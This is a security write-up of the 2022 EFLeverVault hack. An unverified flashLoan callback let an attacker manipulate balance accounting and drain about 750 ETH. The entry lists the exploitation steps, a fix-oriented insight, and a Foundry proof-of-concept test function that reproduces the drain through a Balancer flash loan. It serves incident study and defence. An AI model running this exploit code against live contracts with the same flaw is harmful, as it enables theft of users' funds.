# EFLeverVault: unverified flashLoan callback enables balance manipulation drain

EFLeverVault's flashLoan callback lacked verification, letting an attacker manipulate its ETH balance via Balancer flash loan and withdraw more than deposited, stealing ~750 ETH.

- Payout: Real-world hack
- Severity: critical
- Program: EFLeverVault
- Analysis by: DeFiHackLabs
- Disclosed: 2022-10-14
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-10/EFLeverVault_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221014-eflevervault
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:source-review vuln:business-logic vuln:flash-loan

**Target:** EFLeverVault deposit/withdraw contract with flashLoan callback
**Root cause:** The vault's flashLoan callback did not verify the caller or the loan parameters, allowing an attacker to invoke it directly and temporarily inflate the contract's ETH balance used for withdrawal accounting.
**Steps:**
1. Deposit `1e17` wei (0.1 ETH) into EFLeverVault via `deposit{value: 1e17}(1e17)`.
2. Call `BALANCER_VAULT.flashLoan(address(EFLEVER_VAULT), [WETH], [1000e18], "0x2")` to trigger the vault's unverified flashLoan callback and manipulate its balance.
3. Call `EFLEVER_VAULT.withdraw(9e16)` to withdraw 0.09 ETH, exploiting the inflated balance accounting.
4. Convert the ETH profit to WETH via `WETH_TOKEN.deposit{value: ethProfit}()`.
**Exploitation:** Attacker deposited 0.1 ETH, then used a Balancer flash loan of 1000 WETH directed at the vault to invoke its unverified flashLoan callback, which altered the vault's internal ETH balance. The attacker then withdrew 0.09 ETH, but the manipulated balance allowed draining ~750 ETH total from the vault.
**Insight:** Flash loan callbacks that lack caller/parameter verification can be invoked by anyone to desynchronize balance accounting; check that the callback validates msg.sender and loan details.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test exploiting EFLeverVault**

```
function testExploit() public {
        emit log_named_decimal_uint(
            "[Start] Attacker WETH balance before exploit", WETH_TOKEN.balanceOf(address(this)), 18
        );
        uint256 ethBalanceBefore = address(this).balance;

        // Deposit 0.1 ETH into the EFLever Vault
        EFLEVER_VAULT.deposit{value: 1e17}(1e17);

        emit log_named_decimal_uint(
            "\n\tBefore flashloan, ETH balance in EFLeverVault", address(EFLEVER_VAULT).balance, 18
        );
        // Flashloan to manipulate contract's balance
        address[] memory tokens = new address[](1);
        tokens[0] = address(WETH_TOKEN);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1000 * 1e18;
        bytes memory userData = "0x2";
        BALANCER_VAULT.flashLoan(address(EFLEVER_VAULT), tokens, amounts, userData);
        emit log_named_decimal_uint(
            "\tAfter flashloan, ETH balance in EFLeverVault", address(EFLEVER_VAULT).balance, 18
        );
        EFLEVER_VAULT.withdraw(9e16);
        emit log_named_decimal_uint("\tAfter withdraw, ETH balance in EFLeverVault", address(EFLEVER_VAULT).balance, 18);

        // Swap the profit in ETH to WETH
        uint256 ethProfit = address(this).balance - ethBalanceBefore;
        WETH_TOKEN.deposit{value: ethProfit}();

        emit log_named_decimal_uint(
            "\n[End] Attacker WETH balance after exploit", WETH_TOKEN.balanceOf(address(this)), 18
        );
    }

    receive() external payable {}
}
```

